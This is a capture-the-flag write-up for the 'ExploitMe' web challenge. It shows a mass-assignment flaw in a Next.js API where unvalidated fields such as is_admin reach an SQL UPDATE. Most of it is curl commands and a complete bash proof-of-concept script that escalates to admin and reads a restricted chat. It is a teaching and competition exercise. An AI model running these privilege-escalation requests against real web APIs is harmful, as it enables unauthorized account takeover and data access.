๐ฆ Challenge source
๐ Introduction
ExploitMe is a web challenge simulating a dating app for hackers. The main vulnerability lies in the API logic, allowing privilege escalation via a mass assignment flaw. By exploiting this issue, we can escalate to admin and retrieve the flag from a restricted chat.
Context Explanation
The application is a Next.js app using API routes with SQLite for persistence.
User registration issues a JWT. Profile updates are done through /api/edit
.
The backend uses yup
for validation but fails to strip unknown fields. This leads to unsanitized attributes being directly mapped into the SQL UPDATE
query.
Directive
The goal is to escalate our account privileges to admin and access restricted data (the flag) in chat room #4.
๐ ๏ธ Solution
Step 1: Register a new account
curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d '{"username":"hitcat","email":"hitcat@snake.ctf","password":"Secret123!"}'
This returns a valid JWT.
Step 2: Complete onboarding
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}'
Step 3: Exploit mass assignment in /api/edit
The vulnerable code (edit.js
):
const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);
const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`;
Because yup
was not configured with stripUnknown: true
, arbitrary fields (e.g. is_admin
) pass through.
Exploit:
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}'
Step 4: Abuse admin privilege to report a chat
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN"
Step 5: Read restricted messages (flag)
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'
PoC
#!/bin/bash
URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org"
USERNAME="hitcat"
EMAIL="hitcat@snake.ctf"
PASSWORD="Secret123!"
# Step 1 : Register and get JWT
echo "[*] Registering user $USERNAME..."
TOKEN=$(curl -s -X POST "$URL/api/register" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \
| jq -r .token)
if [ "$TOKEN" = "null" ] || [ -z "$TOKEN" ]; then
echo "[!] Failed to get token during register"
exit 1
fi
echo "[+] Token obtained: $TOKEN"
# Step 2 : Onboarding
echo "[*] Sending onboarding data..."
curl -s -X POST "$URL/api/onboarding" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"role": "WHITE_HAT",
"looking_for": "WHITE_HAT",
"age": 19,
"likes": ["IoT"],
"dislikes": ["SIM Swappers"],
"bio": "Your leet bio here",
"location": "Obviously, the Internet",
"hacks": ["Morris Worm"],
"favorite_hacker": "Kevin Mitnick",
"favorite_song": "Careless Hacker",
"favorite_movie": "My Little Pony: The Movie",
"yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
"touches_grass": false
}' | jq .
# Step 3 : Admin priv esc via mass assignment
echo "[*] Trying to escalate privileges (is_admin=1)..."
curl -s -X POST "$URL/api/edit" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":1}' | jq .
# Step 4 : Report match nยฐ4
echo "[*] Reporting match 4..."
curl -s -X POST "$URL/api/chat/4/report" \
-H "Authorization: Bearer $TOKEN" | jq .
# Step 5 : Reading match nยฐ4 messages
echo "[*] Reading messages from match 4..."
curl -s "$URL/api/chat/4" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.messages[] | .content'
Tips & Tricks
- Mass assignment check: Always test with arbitrary fields (
is_admin
,role
,balance
) in API endpoints. - Schema validation: In frameworks using
yup
orjoi
, confirm whether unknown fields are stripped. - JWT debugging: Decode JWTs locally to confirm claims and ensure escalation is reflected.